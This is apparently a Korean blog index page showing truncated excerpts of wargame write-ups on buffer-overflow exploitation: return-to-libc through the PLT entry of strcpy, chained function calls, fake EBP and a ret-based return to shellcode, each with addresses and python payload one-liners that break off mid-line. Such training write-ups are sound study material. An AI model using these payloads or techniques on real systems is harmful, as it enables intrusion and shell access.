nemo의 이야기

위 소스 코드를 확인해보면 ret부분에 strcpy 함수의 인지를 확인 한다. 먼저 여기서 strcpy주소 인지 체크하는 부분은 plt에 있는 참조 주소이다. 이 plt의 strcpy의 참조 주소를 이요해 RTL로 문제를 풀면 될 것이다. PLT는 허출하려는 함수와 GOT를 연결하는 것이고 GOT는 실제 라이브러리 함수의 주소이고 함수가 처음 호출 될 떄 주소가 계산된다(PTL) 리눅스는 윈도우와 다르게 실행할 경우 주소가 정해진다. 우선 strcpy의 PTL주소를 확인을 하자 strcpy : 8048410 이제 조건에 건너뛰는지 확인하기 위해서 strcpy주소를 제대로 넣고 더미로 공격을 한다. $(python -c 'print "A" *44 + "\x10\x84\x04\x08" + "BBBB" +"C..

소스를 확인 해보면 1. argv[1]에서 라이브러리 함수를 사용하지 못한다. 2. RET에는 DO함수 주소가 있어야된다. 3. RET이후 100byte 사용 가능 이를 해결하기 위해서는 DO GYE GUL YUT MO 순으로 호출해야된다. 그리고 마지막에 호출되는 함수에 인자를 사용하여 공격을 해야된다. 즉 마지막 인자에 bash라는 문자열을 집어 넣으면 공격에 성공한다. 우선 각 함수의 주소를 확인해야 된다. DO : 80487ec, GYE : 80487bc, YUT : 804875c, MO : 8048724 buffer : bffffaa0 여기서 /bin/sh가 위치하는 곳은 bffffae4이다 이제 RET에 DO에 주소를 입력하고 순서대로 주소를 입력하고 마지막에는 /bin/sh가 위치한 주소를 ..

소스 코드를 확인하면 1. 스택 메모리를 사용할 수 없다. 2. 라이브러리 메모리를 사용할 수 없다. 이를 공격하기 위해 Fake Ebp를 사용할 것 이다. 우선 system 주소와 exit 주소와 /bin/sh와 buffer주소와 leave주소를 확인해보자 /bin/sh : 400fbff9 system : 40058ae0, exit : 400391e0 buffer : bffffaa0 이제 공격코드를 작성해보자 우선 더미(4) + system(4) + exit(4) + /bin/sh(4) + 더미(24) + buffer(4) + leave(4) $(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" +..

위 소스를 확인하면 1. 스택을 사용할 수 없다. 2. RTL을 사용할 수 없다. 이를 해결 하려면 ret를 이용해서 retrun address의 위치를 바꿔 공격하면 될 것이다. 우선 ret의 주소를 확인해 보자 ret : 804851e이다 그리고 buffer의 주소를 확인해보자 buffer에 주소는 bffffab0라는 것을 확인 할 수 있다. 그리고 쉘코드의 위치를 구하기 위해 52bit를 16진수로 바꾸면 0x32가 된다. 이제 bffffab0 + 0x32를 더하면 => 0xbffffae4가 된다. 그럼 이제 공격 코드를 적성해보자 $(python -c 'print "A" * 44 + "\x1e\x85\x04\x08" + "\xe4\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\..